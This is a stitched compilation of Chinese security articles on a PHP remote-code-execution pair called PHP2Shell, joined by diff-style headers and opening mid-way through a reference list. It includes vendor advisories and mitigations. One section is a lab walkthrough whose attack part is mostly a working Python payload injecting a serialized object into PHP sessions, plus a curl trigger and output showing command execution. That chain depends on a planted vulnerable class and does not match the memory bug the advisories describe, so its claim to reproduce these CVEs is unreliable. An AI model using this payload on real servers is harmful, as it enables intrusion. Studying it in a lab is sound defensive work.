按OracleCPU升级JavaSE与MySQL,按官方公告更新NGINX、Traefik、.NET、Vyper和virtualenv。同时处理Go的CVE-2026-78667
以及7月至9月的.NET/Marten历史补丁。Spring、Tomcat、Jackson、Python/AI、Ruby和Rust历史CVE仍需修复,但不应把它们全部计入10月21日新披露数量。
## 二十三、结论
这次“漏洞夜袭”由三种不同风险叠加而成:PHP与Node.js的运行时RCE,eMudhra引发的跨生态证书信任修复,以及LiteLLM的软件供应链投毒。三者都需要快速响应,但处置方法并不相同。
同时,社区在短时间内重新传播了大量历史CVE。漏洞严重性不会因为披露较早而消失,但时间线必须保持准确。把旧漏洞全部写成“今晚新爆”,会造成补丁窗口、攻击面和应急资源的错误判断。
比“今晚又多了多少CVE”更重要的问题是:哪些系统真正满足触发条件,哪些发布链已经不再被信任,以及哪些凭据已经需要视为泄露。
## 参考文献
[1] THE PHP GROUP. Security Advisory: Critical Remote Code Execution Vulnerabilities, Update Now[EB/OL]. (2026-10-21)[2026-10-22]. https://www.php.net/index.php[#2026]()
-10-21-5.
[2] NODE.JS SECURITY TEAM. Wednesday, October 21, 2026 Security Releases[EB/OL]. (2026-10-21)[2026-10-22]. https://nodejs.org/en/blog/vulnerability/october-2026-security-releases.
[3] CLOUDFLARE. 8 eMudhra Certificates Are Compromised. Here's What You Need to Know[EB/OL]. (2026-10-20)[2026-10-22]. https://blog.cloudflare.com/emudhra-certificate-compromise.
[4] GO SECURITY TEAM. Go 1.27.3 and Go 1.26.10 Are Released[EB/OL]. (2026-10-19)[2026-10-22]. https://groups.google.com/g/golang-announce/c/66pojueaQek.
[5] ORACLE. Critical Patch Update Advisory - October 2026[EB/OL]. (2026-10-20)[2026-10-22]. https://www.oracle.com/security-alerts/cpuoct2026.html.
[6] BERRIAI. [SECURITY] litellm 1.107.0 Compromised[EB/OL]. GitHub Issue [#47826]()
, (2026-10-21)[2026-10-22]. https://github.com/BerriAI/litellm/issues/47826.
[7] MICROSOFT. CVE-2026-102870: ASP.NET Core Remote Code Execution Vulnerability[EB/OL]. (2026-10-13)[2026-10-22]. https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102870.
[8] F5. NGINX Security Advisories[EB/OL]. (2026-10-14)[2026-10-22]. https://nginx.org/en/security_advisories.html.
[9] RUSTSEC. RUSTSEC-2026-0382: Certificate Verification May Accept Distrusted Intermediates[EB/OL]. (2026-10-20)[2026-10-22]. https://rustsec.org/advisories/RUSTSEC-2026-0382.
[10] RUSTSEC. RUSTSEC-2026-0383: Bundled Root Certificates Allow Trust in Distrusted emSign Intermediates[EB/OL]. (2026-10-20)[2026-10-22]. https://rustsec.org/advisories/RUSTSEC-2026-0383.
[11] CISA. Known Exploited Vulnerabilities Catalog[EB/OL]. [2026-10-22]. https://www.cisa.gov/known-exploited-vulnerabilities-catalog.
[12] CVE PROGRAM. CVE Records[EB/OL]. [2026-10-22]. https://www.cve.org/.
[13] EMUDHRA. An Update on Our Global TLS Intermediate CA Incident[EB/OL]. (2026-10-21)[2026-10-22]. https://emudhra.com/en/post/certificate-security-incident.
[14] TRAEFIK LABS. v3.7.15[EB/OL]. (2026-10-15)[2026-10-22]. https://github.com/traefik/traefik/releases/tag/v3.7.15.
[15] TENABLE. php2shell: Frequently Asked Questions About CVE-2026-109618 and CVE-2026-109619[EB/OL]. (2026-10-21)[2026-10-22]. https://www.tenable.com/blog/php2shell-cve-2026-109618-cve-2026-109619-frequently-asked-questions-about-critical-php-remote.
[16] UBUNTU. USN-8940-1: Perl XS::Parse::Keyword Module Vulnerability[EB/OL]. (2026-10-20)[2026-10-22]. https://ubuntu.com/security/notices/USN-8940-1.
[17] SPRING. Spring Framework Improper Path Limitation in XsltView[EB/OL]. (2026-08-20)[2026-10-22]. https://spring.io/security/cve-2026-47884.
@@ -0,0 +1,24 @@
# 什么?你是说我刚结束了一天疲惫的工作后,PHP RCE,Node.js、Litellm都跟着炸了?
xiachuchunmo
xiachuchunmo 银遁安全团队 2026-10-21 16:39
    在PHP曝出RCE漏洞之后,
Node.js也
发布全版本线安全更新,26.x/ 24.x/ 22.x(LTS)全活跃分支均受高危漏洞影响
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/14zTrTiaCfEVEyWdxop86eAhcoC75ZotNzSIkOBM62SlnarNAq91vmChJoHxiaaeAUuDIRR5vMx7Prze5x05GplTNQ98Ae3SSRAhicoCzGPU2k/640?wx_fmt=jpeg&from=appmsg "")
那真是很糟糕的一天了..
![](https://mmbiz.qpic.cn/sz_mmbiz_png/14zTrTiaCfEWWFuKHV5ul9YqGVAE09Sic29oLIPwOkMV4WhehUIzmEPOBicibShO7QdMc5K2iccYUSnmNQ0Vy8581ib1icuZ37YMDhC5Ue0H79iavKk/640?wx_fmt=png&from=appmsg "")
什么?你是说我刚结束了一天疲惫的工作后,PHP RCE,Node.js、Litellm都炸了?
![](https://mmbiz.qpic.cn/mmbiz_jpg/14zTrTiaCfEX9KOFnowSpCtghVR7roZUT9lH5icDCicytf8NfMIqNyp9YBsicEB9MvCIQuWDPHswicCC9253OcB4hoib8BVoj47a2ylj8pC5G1cRI/640?wx_fmt=jpeg&from=appmsg "")
    
想象一下你的架构是 nginx 反向代理,后面挂着 PHP 8.1 主站、Node.js 24.x Brotli 网关、Go 微服务、Rust TLS 校验层、Python + LiteLLM 1.107.0 AI 中台,全部跑在 Linux 内核 c6e50df8 之前,HTTPS 证书由 eMudhra 签发并通过 emSign 交叉认证,根证书库用 Go crypto/x509 + Rust webpki-roots + Python certifi,CI 昨晚刚从 PyPI 拉了新包。
    真是美妙的一天......
@@ -0,0 +1,208 @@
# 已发现攻击,全球拉响警报!PHP重大漏洞引发多国紧急响应
奇安信集团 2026-10-21 18:23
一场波及全球互联网基础设施的重大网络安全事件引发国际社会高度关注。10月21日,全球广泛使用的服务器端编程语言PHP被曝存在两项严重安全漏洞(CVE-2026-109618、CVE-2026-109619),统称为“PHP2Shell”,漏洞危险评分均高达8.1分。
攻击者在特定条件下无需身份认证,即可利用漏洞实现远程代码执行,甚至获取服务器控制权限
。
由于PHP广泛应用于政府网站、企业业务系统及各类互联网平台,此次漏洞影响范围广泛,潜在安全风险突出。漏洞披露后,多国政府及网络安全机构迅速采取应急措施。美国联邦调查局(FBI)、美国国家安全局(NSA)、欧盟计算机应急响应团队(CERT-EU)等机构相继发出安全警告。日本首相高市早苗公开呼吁相关机构尽快部署安全补丁,必要时暂停网站服务。据媒体报道,荷兰、芬兰等国家的部分政府网站已采取预防性下线措施,日本部分政府部门及企业也紧急开展系统维护,凸显此次事件的严重性与紧迫性。
值得关注的是,此次漏洞涉及PHP底层内存处理机制,
影响多个主流版本及常见Web运行环境,大量已停止官方维护的历史版本进一步增加了修复难度
。同时,AI技术在此次漏洞发现与修复协调过程中发挥了重要作用,也反映出AI正在加速改变网络安全攻防态势。
目前,
奇安信CERT已
发现在野利用
,奇安信安全产品可支持检测。鉴于此次漏洞涉及范围广、潜在危害严重,
建议政企单位高度重视,可参考以下处置建议,立即开展相关资产排查、漏洞核查及修复加固工作,切实防范漏洞遭恶意利用引发网络安全事件
。
以下为奇安信CERT针对
“PHP2Shell”漏洞的最新风险通告。
<table><tbody><tr style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><td colspan="4" data-colwidth="136,157,166,98" valign="middle" align="center" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgb(70, 118, 217);max-width: 100%;box-sizing: border-box !important;background-color: rgb(70, 118, 217);visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;line-height: 1.5em;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);letter-spacing: 0px;visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;letter-spacing: 0px;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">漏洞概述</span></span></strong></span></p></td></tr><tr style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><td data-colwidth="136" width="136" valign="middle" align="left" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgb(70, 118, 217);max-width: 100%;box-sizing: border-box !important;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;line-height: 1em;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;letter-spacing: 0px;visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">漏洞名称</span></span></strong></span></p></td><td colspan="3" data-colwidth="157,166,98" valign="middle" align="left" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgb(70, 118, 217);max-width: 100%;box-sizing: border-box !important;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;line-height: 1em;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;caret-color: red;letter-spacing: 0px;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">PHP 远程代码执行漏洞</span></span></p></td></tr><tr style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><td data-colwidth="136" width="136" valign="middle" align="left" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 5px 10Line truncated
**0****1**
**漏洞详情**
**>**
**>**
**>**
**>**
**影响组件**
PHP 是一种广泛使用的开源服务器端脚本语言,主要运行于 Web 服务器端,支持 Apache mod_php、PHP-FPM(配合 Nginx、Apache mod_proxy_fcgi)、FrankenPHP、LiteSpeed LSAPI 等多种部署方式。W3Techs 统计显示,全球约四分之三的网站使用 PHP 作为服务器端编程语言,WordPress、Drupal、Joomla、MediaWiki、Magento、phpMyAdmin、Nextcloud、Laravel、Symfony、WHMCS 等主流应用均依赖 PHP。
**>**
**>**
**>**
**>**
**漏洞描述**
近日,奇安信CERT监测到官方修复
PHP 远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619),两个漏洞均与 PHP 请求生命周期边界上的状态管理缺陷有关:CVE-2026-109618 利用内存耗尽(OOM)时的 longjmp() 提前退出,使尚未完成初始化的请求内存在 request shutdown 阶段被错误消费;CVE-2026-109619 利用 worker 全局状态在请求结束后未正确重置,使后续请求在正常初始化之前访问已释放的请求内存。攻击者无需认证,通过构造恶意 HTTP 请求即可触发释放后重用(UAF),进而实现内存泄露和远程代码执行。
目前该漏洞PoC和技术细节已公开。
鉴于该漏洞已发现在野利用,建议客户尽快做好自查及防护。
**本次更新内容:**
**更新漏洞状态;**
**新增产线解决方案。**
**>**
**>**
**>**
**>**
**利用条件**
无需登录、无需用户交互、无需应用层漏洞;攻击面为可接收 HTTP 请求的 PHP 端点,包括静态站点中的简单 PHP 页面。
**02**
**影响范围**
**>**
**>**
**>**
**>**
**影响版本**
PHP < 8.2.35
PHP < 8.3.36
PHP < 8.4.27
PHP < 8.5.12
仍在维护的分支:
PHP 8.5、8.4、8.3 仍处于现行维护期,应优先升级到对应修复版本或更高版本。8.2.35 是当前可用的修复版本,也是 8.2 分支最后的升级时间窗口之一;建议尽快规划升级到 8.3 或更高版本。
已停止维护的分支:
PHP 8.1、8.0、7.4 及更早版本已停止官方支持,PHP 官方不再发布修复版本。
PHP ≤ 7.3 / 5.x 同样已停止维护,官方不提供修复版本,应优先升级。
**>**
**>**
**>**
**>**
**其他受影响组件**
以 PHP 为运行时的应用、框架与建站系统可能间接受影响,涉及 WordPress、MediaWiki、phpBB、Magento、Laravel、Symfony、Drupal 等,以及 mod_php、PHP-FPM(含 Docker PHP-FPM 镜像)等部署形态。
**03**
**复现情况**
目前,
奇安信CERT已成功复现
PHP 远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619)
,截图如下:
![Image](https://mmbiz.qpic.cn/mmbiz_png/RwAbCjh555snOiaObmb7dddoJgQMZWx4K1p9IiaBUSF7aMOxsbaYgq34MmvWnPyicTSeDZx8tk5EOWyRDCJXFdUhQTUoEqprY59PRQl598q7a4/640?wx_fmt=png&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=0 "")
**04**
**处置建议**
**>**
**>**
**>**
**>**
**安全更新**
官方已发布安全补丁,请及时更新至最新版本:
PHP 8.5.12
PHP 8.4.27
PHP 8.3.36
PHP 8.2.35
下载地址:
https://www.php.net/downloads.php
1. 升级后必须重启 Apache、PHP-FPM 及所有常驻 worker,确保旧进程不再处理请求;仅替换二进制而不重启进程不能消除风险。
2. 容器环境应重新构建镜像,避免沿用包含旧 PHP 的 layer;Kubernetes 环境应滚动重启所有 Pod,并确认没有旧 ReplicaSet 继续服务。
3. 发行版仓库(Ubuntu、Debian、RHEL、Alpine 等)和集成环境(宝塔、phpStudy、XAMPP、Docker 官方镜像等)可能存在同步延迟,请以 `php -v`、`php-fpm -v` 的实际输出为准,不要仅核对包管理器版本号。
4. PHP 8.1 及更早版本已停止支持,官方不再提供补丁,建议迁移至 PHP 8.2 或更高版本;若使用发行版长期支持分支,请以厂商 backport 公告为准。
5. 共享主机和虚拟主机用户应联系服务商确认 PHP 版本;多租户环境需确认所有租户实例均已升级。
注意:
不要使用 RLIMIT_AS 或 RLIMIT_DATA 作为缓解措施。这些限制会导致 mmap() 失败,从而触发 CVE-2026-109618 所依赖的 longjmp() 路径。
**>**
**>**
**>**
**>**
**产品解决方案**
**奇安信网神云锁服务器安全管理系统(椒图)检测方案**
奇安信网神云锁服务器安全管理系统(椒图)默认已有RCE规则支持检测,无需更新。
**奇安信天眼检测方案**
奇安信天眼新一代安全感知系统已经能够有效检测针对该漏洞的攻击。规则ID及规则名称:
0x10022A87,PHP 远程代码执行漏洞(CVE-2026-109618/CVE-2026-109619)。15155版本覆盖,规则预计10-22号发布。奇安信天眼流量探针规则升级方法:系统配置->设备升级->规则升级,选择“网络升级”或“本地升级”。
**05**
**参考资料**
[1]
https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w
[2]https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp
[3]
https://calif.io/php2shell/[#writeup]()
**06**
**时间线**
2026年10月21日,
漏洞公开披露:CVE 信息已公开,可据此核对受影响产品与版本并启动修复。
2026年10月22日,奇安信 CERT已复现该漏洞,
发布安全风险通告。
2026年10月22日,该漏洞已发现在野利用,
发布安全风险通告第二次更新。
@@ -0,0 +1,188 @@
# 已复现 | PHP 会话反序列化 RCE:从靶场搭建到命令执行
原创 陆安予
陆安予 白帽子安全笔记2.0 2026-10-21 16:48
 
摘要:本文记录在本地 Docker 靶场中复现 CVE-2026-109618 / CVE-2026-109619 的全过程。所有操作均在本机授权靶场完成,仅用于安全学习与研究。请勿对任何未授权目标使用文中技术。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/ibXL9MCj2GqOwWc9f3FZpQf7A1jXVEtN2JiaAe1dUxknSziczszRfrNPQcT2XAia39JkOHLVs5r8ic3o2QersbJ77ReFlTYCC5IZrJJro7AcNhF0/640?wx_fmt=png&from=appmsg "null")
## 一、这是什么
PHP 的 session.upload_progress 机制本意是让应用能追踪文件上传进度。但当它与会话序列化处理器、会话固定、文件名处理等环节组合时,会形成一条完整的利用链:
1. 1. 会话固定:通过 Cookie 或请求体指定 PHPSESSID,绕过 session.use_only_cookies 的限制。
1. 2. 文件名注入:上传文件的 filename 会被原样写入 session 文件,不做转义。
1. 3. 处理器错位:同一份 session 文件,在 A 目录用 php_serialize 写入,在 B 目录用 php 读取,导致按 | 分割后反序列化攻击者注入的对象。
1. 4. __destruct 触发:即使解码失败,对象已被创建,销毁时 __destruct 仍会执行。
最终效果:未授权远程代码执行(pre-auth RCE),CVSS 4.0 评分 9.2。影响 PHP 5.4.0 至 8.5.11。
## 二、靶场搭建
靶场由 docker-compose 编排两个容器:
- • php2shell-lab:PHP 8.2.34 FPM,挂载 webroot/ 和自定义 php.ini。
- • php2shell-nginx:Nginx 反向代理,对外暴露 18080 端口。
关键目录结构:
```
webroot/
├── app/
│   ├── .user.ini          # session.serialize_handler = php_serialize
│   └── upload.php         # 写入端,带 session_start()
├── api/
│   ├── .user.ini          # session.serialize_handler = php
│   └── endpoint.php       # 触发端,先定义 Exploit 类,再 session_start()
└── vuln.php               # 模拟 LFI(可选)
```
关键 php.ini 配置:
```
session.save_handler = files
session.save_path = /tmp/sessions
session.use_strict_mode = 0
session.use_only_cookies = 0
session.use_cookies = 1
session.upload_progress.enabled = On
session.upload_progress.cleanup = Off
session.upload_progress.prefix = upload_progress_
session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS
```
启动:
```
./setup.sh
```
## 三、完整POC
第一步:用 Python 一行脚本写入合法 payload
```
python3 - <<'PY'
import socket
host, port = "127.0.0.1", 18080
sid = "mismatchverify0000000000000"
filename = 'x|O:7:"Exploit":1:{s:3:"cmd";s:2:"id";}'
escaped = filename.replace('"', '\\"')
boundary = "MISMATCH"
body = (
    f"--{boundary}\r\n"
    f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
    f"--{boundary}\r\n"
    f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
    f"--{boundary}\r\n"
    f'Content-Disposition: form-data; name="f"; filename="{escaped}"\r\n\r\nZ\r\n'
    f"--{boundary}--\r\n"
).encode("latin-1")
req = (
    f"POST /app/upload.php HTTP/1.1\r\n"
    f"Host: {host}\r\n"
    f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
    f"Content-Length: {len(body)}\r\n"
    f"Cookie: PHPSESSID={sid}\r\n"
    f"Connection: close\r\n\r\n"
).encode() + body
s = socket.create_connection((host, port), timeout=15)
s.sendall(req)
s.settimeout(10)
resp = b""
while True:
    try:
        d = s.recv(65536)
        if not d: break
        resp += d
    except socket.timeout: break
s.close()
print(resp.split(b"\r\n",1)[0].decode())
PY
```
第二步:触发
```
curl -s -X POST http://127.0.0.1:18080/api/endpoint.php \
  -H "Cookie: PHPSESSID=mismatchverify0000000000000"
```
第三步:看pwn
```
docker exec -it php2shell-lab cat /tmp/pwned.txt
```
## 四、验证过程与结果
PWN 成功!
```
                                                                                            
┌──(root㉿kali)-[/home/kali/Desktop]
└─# docker exec -it php2shell-lab cat /tmp/pwned.txt
cat: /tmp/pwned.txt: No such file or directory
                                                                                             
┌──(root㉿kali)-[/home/kali/Desktop]
└─# >....                                                                                    
filename = 'x|O:7:"Exploit":1:{s:3:"cmd";s:2:"id";}'
escaped = filename.replace('"', '\\"')
boundary = "MISMATCH"
body = (
    f"--{boundary}\r\n"
    f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
    f"--{boundary}\r\n"
    f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
    f"--{boundary}\r\n"
    f'Content-Disposition: form-data; name="f"; filename="{escaped}"\r\n\r\nZ\r\n'
    f"--{boundary}--\r\n"
).encode("latin-1")
req = (
    f"POST /app/upload.php HTTP/1.1\r\n"
    f"Host: {host}\r\n"
    f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
    f"Content-Length: {len(body)}\r\n"
    f"Cookie: PHPSESSID={sid}\r\n"
    f"Connection: close\r\n\r\n"
).encode() + body
s = socket.create_connection((host, port), timeout=15)
s.sendall(req)
s.settimeout(10)
resp = b""
while True:
    try:
        d = s.recv(65536)
        if not d: break
        resp += d
    except socket.timeout: break
s.close()
print(resp.split(b"\r\n",1)[0].decode())
PY
HTTP/1.1 200 OK
                                                                                             
┌──(root㉿kali)-[/home/kali/Desktop]
└─# curl -s -X POST http://127.0.0.1:18080/api/endpoint.php \
  -H "Cookie: PHPSESSID=mismatchverify0000000000000"
<br />
<b>Warning</b>:  session_start(): Failed to decode session object. Session has been destroyed in <b>/var/www/html/api/endpoint.php</b> on line <b>8</b><br />
api ok
                                                                                             
┌──(root㉿kali)-[/home/kali/Desktop]
└─# docker exec -it php2shell-lab cat /tmp/pwned.txt
uid=33(www-data) gid=33(www-data) groups=33(www-data)
                                                                                             
┌──(root㉿kali)-[/home/kali/Desktop]
└─# 
```
![CVE-2026-109618 和 CVE-2026-109619](https://mmbiz.qpic.cn/sz_mmbiz_png/ibXL9MCj2GqMxDw8twmKDsYr5XdbVCgvdy0bbvhoRxHaPF4rxCW6nZVSCTzDOpg2k48tAh6caKVSIkMHvPDFMN9mr6aR11C7SlEGoJVG5Sw8/640?wx_fmt=png&from=appmsg "null")
CVE-2026-109618 和 CVE-2026-109619
获取修改后的安装环境部署脚本:回复20261022
获取。
> **警告**
:仅限本地 Docker 靶场。真实漏洞影响 PHP 5.4.0–8.5.11,修复版本 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12。不要对任何未授权目标使用。
 
@@ -0,0 +1,79 @@
# 已复现 | php2shell:PHP Core 远程代码执行漏洞(CVE-2026-109618/109619)
原创 微步情报局
微步情报局 微步在线研究响应中心 2026-10-21 17:35
漏洞概况
刚刚,PHP 官方已发布新版本**8.5.12、8.4.27、8.3.36 和 8.2.35**
修复两
处
严
重漏洞(CVE-2026-109618/109619)
。
该漏洞存在于 PHP 核心层,影响包括主流 CMS 和框架(如 WordPress、Laravel 等)在内的各类 PHP 运行环境。未经身份验证的远程攻击者可利用该漏洞在目标服务器上远程执行任意代码,进而控制服务器。
PHP 官方强烈建议所有 PHP 用户立即更新。
**目前微步情报局已复现稳定崩溃,但目前来看RCE并不具备通用性,关于RCE的利用链正在进一步分析。**
漏洞处置优先级(VPT)
**综合处置优先级:**
高风险
<table><tbody><tr><td rowspan="3" style="border: 1px solid rgb(221, 221, 221);padding: 12px;text-align: left;vertical-align: top;font-weight: bold;background-color: rgb(248, 249, 250);"><section><span leaf="">基本信息</span></section></td><td data-colwidth="192" style="border: 1px solid rgb(221, 221, 221);padding: 12px;text-align: left;vertical-align: top;"><section><span leaf="">微步编号</span></section></td><td style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;"><p><span leaf="">XVE-2026-84070</span></p><p><span leaf="">XVE-2026-84069 </span></p></td></tr><tr><td data-colwidth="192" style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;"><section><span leaf="">CVE编号</span></section></td><td style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;"><p><span leaf="">CVE-2026-109618</span></p><p><span leaf="">CVE-2026-109619</span></p></td></tr><tr><td data-colwidth="192" style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;"><section><span leaf="">漏洞类型</span></section></td><td style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;"><section><span leaf="">远程代码执行</span></section></td></tr><tr><td rowspan="5" style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;font-weight:bold;background-color:#f8f9fa;"><section><span leaf="">利用条件评估</span></section></td><td data-colwidth="192" style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;"><section><span leaf="">利用漏洞的网络条件</span></section></td><td style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;"><section><span leaf="">远程</span></section></td></tr><tr><td data-colwidth="192" style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;"><section><span leaf="">是否需要绕过安全机制</span></section></td><td style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;"><section><span leaf="">否</span></section></td></tr><tr><td data-colwidth="192" style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;"><section><span leaf="">对被攻击系统的要求</span></section></td><td style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;"><section><span leaf="">无</span></section></td></tr><tr><td data-colwidth="192" style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;"><section><span leaf="">利用漏洞的权限要求</span></section></td><td style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;"><section><span leaf="">无需权限</span></section></td></tr><tr><td data-colwidth="192" style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;"><section><span leaf="">是否需要受害者配合</span></section></td><td style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;"><section><span leaf="">否</span></section></td></tr><tr><td rowspan="2" style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;font-weight:bold;background-color:#f8f9fa;"><section><span leaf="">利用情报</span></section></td><td data-colwidth="192" style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;"><section><span leaf="">是否有POC</span></section></td><td style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;"><section><span leaf="">是</span></section></td></tr><tr><td data-colwidth="192" style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;"><section><span leaf="">已知利用行为</span></section></td><td style="border:1px solid #ddd;padding:12px;text-align:left;vertical-align:top;"><section><span leaf="">暂未捕获</span></section></td></tr></tbody></table>
漏洞影响范围
- **PHP 8.5.x: < 8.5.12 受影响**
- **PHP 8.4.x: <8.4.27 受影响**
- **PHP 8.3.x: <8.3.36 受影响**
- **PHP 8.2.x: <8.2.35 受影响**
- **PHP 8.1 及更早版本也受影响。但是 PHP 8.1 及更早的版本 PHP 项目不再发版本。官方给了仅供自行编译的最小 backport 分支:**
- PHP 7.4:https://github.com/php/php-src/tree/PHP-7.4-CVE-2026-109618-109619
- PHP 8.0:https://github.com/php/php-src/tree/PHP-8.0-CVE-2026-109618-109619)
- PHP 8.1 :https://github.com/php/php-src/tree/PHP-8.1-CVE-2026-109618-109619
漏洞复现
在PHP 8.5.11 的 Apache mod_php(prefork,单工作进程)上,对任意 PHP 页面连续两次 POST 带空文件名的嵌套 multipart/form-data,造成内存损坏,工作进程 SIGSEGV 并产生 core dump。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/T4OSm0sXdEPOejyY2O6PMhk20u9RXcdoXBt6L8J8THLqeLRZuUiaeUAdiaSvrMU5ibY2P6ibscvFcewcKMBvmVBJSicfUnyXbGDQUfMh6g1yLkmE/640?wx_fmt=png&from=appmsg "")
修复方案
### 官方修复方案
### PHP 安全团队已发布安全版本修复上述漏洞,具体通告链接:
- https://www.php.net/archive/2026.php#2026-10-21-5
- https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w
- https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp
### 临时缓解措施
### 以下为PHP官方提供的临时缓解措施:对于PHP-FPM,禁用会话上传进度session.upload_progress.enabled=0并进行设置memory_limit=-1。对于mod_php,设置memory_limit=-1。这些更改无法完全取代补丁,并且设置memory_limit=-1会移除 PHP 的内存限制,增加内存耗尽的风险,建议最好通过升级的方式来缓解漏洞。
微步产品支撑
微步漏洞情报于
2026年10月21日
收录该漏洞。
微步下一代威胁情报平台NGTIP及X情报中心已于漏洞收录时向漏洞订阅用户推送该漏洞情报,并将持续推送后续更新;对于已经录入资产的用户,支持实时自动化排查受影响资产。
@@ -0,0 +1,44 @@
# 这个星期四太疯狂了!继PHP RCE又出现了node js,nginx ,Litellm都爆出有漏洞
湘南第一深情
湘南第一深情 湘安无事 2026-10-21 17:49
继有学员再群里面问
php最新爆出来的
CVE-2026-109619
```
官方地址:https://www.php.net/index.php#2026-10-20-1
网传poc:https://github.com/9bie/php2shell-bypass-aslr-exp
```
![](https://mmbiz.qpic.cn/sz_mmbiz_png/tlibgKYKL9EtBPS5uuicKoaddzlsSDHHvVUg5wz7yTLhg5s91EiadlqhkAEfIBBicVoInSyiaDHXq2BUyt9cexZG86rJGa57JgCt5FL87bKrrd5I/640?wx_fmt=png&from=appmsg "")
刚开始这个漏洞影响力很广呀,百度都上热搜了,微步&长亭&sxf都发了通稿
